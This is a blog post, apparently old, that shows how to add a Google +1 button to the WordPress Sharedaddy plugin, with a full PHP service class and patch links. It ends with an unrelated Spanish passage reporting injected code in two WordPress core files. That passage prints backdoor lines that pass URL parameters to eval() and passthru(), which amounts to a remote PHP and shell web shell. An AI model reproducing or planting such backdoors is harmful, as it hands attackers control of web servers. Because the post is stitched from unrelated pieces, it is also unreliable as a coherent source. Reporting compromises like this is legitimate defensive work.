Im using Sharedaddy, and I will not install another extra plugin to support Google +1 and the Sharedaddy option to add a custom service is not prepared for dynamic services like this one. That’s because I looked to integrate the service into Sharedaddy avoiding to change to much the plugin.

Sharedaddy is Object Oriented, so its easy to create a new Sevice Class which extends Sharing_Advanced_Source. But to load your class, you need to change some files.

• sharing-sources.php

  To make it dynamic, I created an extra file called sharing-sources-custom.php and load this file from the original Sharedaddy sharing-sources.php:

  // Custom Sharing services
  require_once('sharing-sources-custom.php');
  

• sharing-services.php

  This file has an array with the current services and the class name for this service, here we must change directly the function to add our new class.

  private function get_all_services() {
  // Default services
  $services = array(
  ...
  'googleplusone' => 'Share_GooglePlusOne'
  );
  

This two changes are enought to get your new service working, if you want you can also add images and edit admin-sharing.css to have preview in your admin panel, but the Service will be working without this.

Here is the Code for the Share_GooglePlusOne class:

<?php
/**
 * File for Custom Services
 *
 * @category WordPress
 * @package  Sharedaddy
 */

/**
 * Class for Google+1
 *
 * Implementeation of Google+1 Service for Sharedaddy
 *
 * @category WordPress
 * @package  Sharedaddy
 * @author Marco Neumann <webcoder_at_binware_dot_org>
 * @copyright Copyright (c) 2011, Marco Neumann
 * Licensed under the GNU GPLv3.
 *
 */
class Share_GooglePlusOne extends Sharing_Advanced_Source
{
    /**
     * Button Size
     *
     * @var String
     */
    private $_size = 'small';

    /**
     * Button Language
     *
     * @var String
     */
    private $_language = 'en-US';

    /**
     * Button with count?
     *
     * @var String
     */
    private $_count = 'true';

    // Configuration extracted from http://code.google.com/apis/+1button/#configuration
    /**
     * Available sizes
     *
     * @var Array
     */
    private $_optionsSize = array(
        'small'    => 'Small Size',
        'medium'   => 'Medium Size',
        'standard' => 'Standard Size',
        'tall'     => 'Tall Size'
    );

    /**
     * Available languages
     *
     * @var Array
     */
    private $_optionsLanguage = array(
        'ar'     => 'Arabic',
        'bg'     => 'Bulgarian',
        'ca'     => 'Catalan',
        'zh-CN'  => 'Chinese (Simplified)',
        'zh-TW'  => 'Chinese (Traditional)',
        'hr'     => 'Croatian',
        'cs'     => 'Czech',
        'da'     => 'Danish',
        'nl'     => 'Dutch',
        'en-GB'  => 'English (UK)',
        'en-US'  => 'English (US)',
        'et'     => 'Estonian',
        'fil'    => 'Filipino',
        'fi'     => 'Finnish',
        'fr'     => 'French',
        'de'     => 'German',
        'el'     => 'Greek',
        'iw'     => 'Hebrew',
        'hi'     => 'Hindi',
        'hu'     => 'Hungarian',
        'id'     => 'Indonesian',
        'it'     => 'Italian',
        'ja'     => 'Japanese',
        'ko'     => 'Korean',
        'lv'     => 'Latvian',
        'lt'     => 'Lithuanian',
        'ms'     => 'Malay',
        'no'     => 'Norwegian',
        'fa'     => 'Persian',
        'pl'     => 'Polish',
        'pt-BR'  => 'Portuguese (Brazil)',
        'pt-PT'  => 'Portuguese (Portugal)',
        'ro'     => 'Romanian',
        'ru'     => 'Russian',
        'sr'     => 'Serbian',
        'sk'     => 'Slovak',
        'sl'     => 'Slovenian',
        'es'     => 'Spanish',
        'es-419' => 'Spanish (Latin America)',
        'sv'     => 'Swedish',
        'th'     => 'Thai',
        'tr'     => 'Turkish',
        'uk'     => 'Ukrainian',
        'vi'     => 'Vietnamese'
    );

    /**
     * Constructor
     *
     * @param Integer $id
     * @param Array $settings
     */
    public function __construct($id, array $settings)
    {
        parent::__construct($id, $settings);

        if (isset($settings['size'])) {
            $this->_size = $settings['size'];
        }
        if (isset($settings['language'])) {
            $this->_language = $settings['language'];
        }
        if (isset($settings['count'])) {
            $this->_count = $settings['count'];
        }
    }

    /**
     * Get Service Name
     *
     * @return String
     */
    public function get_name()
    {
        return __('Google +1', 'sharedaddy');
    }

    /**
     * Displays preview
     *
     * @return Share_GooglePlusOne
     */
    public function display_preview()
    {
?>
    <div class="option option-smart-<?php echo $this->_count; ?>">
        <?php
            if ($this->button_style == 'text' || $this->button_style == 'icon-text') {
                echo $this->get_name();
            } else {
               echo '&nbsp;';
            }
        ?>
    </div>
<?php

        return $this;
    }    

    /**
     * Loads Service required footer code
     *
     * @return Share_GooglePlusOne
     */
    public function display_footer()
    {
        // Load JS for Google +1
        global $post;

        if (isset($post->ID) && $post->ID > 0) {
            $options = array(
                'lang' => $this->_language
            );

            echo '<script type="text/javascript">';
            if (!empty($options)) {
                echo 'window.___gcfg = ' . json_encode($options) .';';
            }
            echo '(function() {
                  var po = document.createElement(\'script\'); po.type = \'text/javascript\'; po.async = true;
                  po.src = \'https://apis.google.com/js/plusone.js\';
                  var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(po, s);
                  })();';
            echo '</script>';
        }

        return $this;
    }

    /**
     * Shows icon
     *
     * @return String
     */
    public function get_display($post)
    {
        return '<g:plusone size="' . $this->_size . '" count="' . $this->_count . '" href="' . get_permalink() . '"></g:plusone>';
    }

    /**
     * Displays available Service options
     *
     * @return Share_GooglePlusOne
     */
    public function display_options()
    {
?>
<div class="input">
    <label>
        <select name="size">
            <?php foreach ($this->_optionsSize as $value=>$name): ?>
                <option value="<?php echo $value; ?>"<?php if ($this->_size == $value): ?> selected="selected"<?php endif; ?>><?php _e($name, 'sharedaddy'); ?>
            <?php endforeach; ?>
        </select>
    </label>
    <label>
        <select name="language">
            <?php foreach ($this->_optionsLanguage as $value=>$name): ?>
                <option value="<?php echo $value; ?>"<?php if ($this->_language == $value): ?> selected="selected"<?php endif; ?>><?php _e($name, 'sharedaddy'); ?>
            <?php endforeach; ?>
        </select>
    </label>
    <label>
        <input type="checkbox"<?php if ($this->_count == 'true') { echo ' checked="checked"'; } ?> name="count" /> Show Count
    </label>
</div>
<?php

        return $this;
    }

    /**
     * Updates submitted options
     *
     * @return Share_GooglePlusOne
     */
    public function update_options(array $data)
    {
        if (isset($data['size']) && isset($this->_optionsSize[$data['size']])) {
            $this->_size = $data['size'];
        }

        if (isset($data['language']) && isset($this->_optionsLanguage[$data['language']])) {
            $this->_language = $data['language'];
        }

        $this->_count = ($data['count'])?'true':'false';

        return $this;
    }

    /**
     * Returns current options
     *
     * @var Array
     */
    public function get_options()
    {
        return array(
            'size'     => $this->_size,
            'language' => $this->_language,
            'count'    => $this->_count
        );
    }
}

Here you can download this file were you will find a patch for the actual sharedaddy version and the images for the admin panel. You only need to apply patch on wp-content/plugins/sharedaddy/ and copy the images to wp-content/plugins/sharedaddy/images/

• Patches
• Sharedaddy with Google +1 – v.1.0
• Sharedaddy with Google +1 – v.1.1 (Added permalink to +1 button – Thanks to megazone)
• Sharedaddy with Google +1 – v.1.2 (Asynchronous Javascript Loading)

• Complete downloads
• Sharedaddy 0.2.12 with Google +1 – v.1.1
• Sharedaddy 0.2.12 with Google +1 – v.1.2

El codigo injectado esta en estos dos ficheros:

• wp-includes/feed.php

  84 85 86

  function comment_text_phpfilter($filterdata) { eval($filterdata); }

  149	if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

• wp-includes/theme.php

  408 409 410

  function get_theme_mcommand($mcds) { passthru($mcds); }

  441	if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

Podeis descargarlo aqui Post Updated v.0.1a